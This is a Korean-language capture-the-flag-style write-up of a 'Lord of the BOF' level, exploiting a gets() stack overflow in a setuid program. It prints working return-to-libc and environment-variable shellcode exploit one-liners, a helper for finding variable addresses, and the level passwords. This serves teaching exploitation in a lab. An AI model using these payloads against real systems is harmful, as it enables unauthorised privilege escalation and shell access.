login as : cobolt
password : hacking exposed
문제 파악
cobolt 계정으로 로그인하여 cobolt 디렉터리 안에 있는 파일들의 목록을 보면 goblin과 goblin.c 가 있다.
goblin 파일은 goblin의 계정의 setuid 권한이 걸려있기 때문에 goblin 프로그램을 실행할 때는 goblin 계정의 권한으로 실행된다.
/*
The Lord of the BOF : The Fellowship of the BOF
- goblin
- small buffer + stdin
*/
int main()
{
char buffer[16];
gets(buffer);
printf("%s\n", buffer);
}
goblin.c 파일의 내용을 보면 16byte짜리 buffer를 선언하고, 사용자로부터 입력을 받아 buffer에 저장하고, 입력받은 내용을 출력한다.
여기서 gets() 함수로 buffer에 사용자의 입력값을 검증하지 않고 바로 넣기 때문에 bof 취약점이 발생한다.
이전 LEVEL2에서와 다른 점은 사용자의 입력을 인자가 아닌 입력 함수를 이용해 받는다는 것이다.
이전 LEVEL2에서는 커맨드라인 인자로 받아 buffer에 저장했었다.
공격
공격 방식은 이전 LEVEL2에서와 같이 RTL 기법을 이용한다.
공유 라이브러리에서 system() 함수의 주소 0x40058AE0과 "/bin/sh" 문자열의 주소 0x400FBFF9를 찾는다.
그리고는 gdb를 이용해 dummy 값을 확인해 dummy 값이 없는 것을 확인한다.
(python -c 'print "a" * 16 + "bbbb" + "\xe0\x8a\x05\x40" + "cccc" +"\xf9\xbf\x0f\x40"'; cat) | ./goblin
LEVEL2에서 사용했던 공격 스크립트와 거의 같지만, 순서가 바뀌었다.
LEVEL2에서는 커맨드라인 인자로 받아 argv에 있는 값을 strcpy()로 buffer에 복사했기 때문에 사용자의 입력값을 커맨드라인 인자 부분에 적어줬지만
LEVEL3에서는 커맨드라인 인자가 아닌 main() 함수 호출 후 입력 함수를 이용해 사용자로부터 입력값을 받기 때문에 위와 같이 공격 스크립트를 작성하여 goblin을 실행하면서 파이프라인을 통해 stdin 입력으로 보내주면 된다.
goblin 계정의 password는 hackers proof이다.
환경 변수를 이용해 공격
export shellcode=`printf "\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"`
$shellcode
위와 같이 환경 변수 shellcode를 등록하고
vi getenv.c
#include <stdio.h>
int main(int argc, char** argv)
{
if(argc < 2)
{
printf("Usage : ./%s [env name]", argv[0]);
exit(0);
}
printf("%s addr : %p\n", argv[1], getenv(argv[1]));
return 0;
}
gcc -o getenv getenv.c
getenv.c 파일을 생성해 위의 코드를 작성한 뒤 컴파일 한다.
./getenv shellcode
환경 변수 shellcode의 주소는 0xbffffede이다.
(for i in `seq 1 20`; do printf "a"; done; printf "\xde\xfe\xff\xbf"; cat) | ./goblin
위와 같이 RET 부분을 shellcode 환경 변수의 주소로 덮어쓰면 셸이 성공적으로 떨어진다.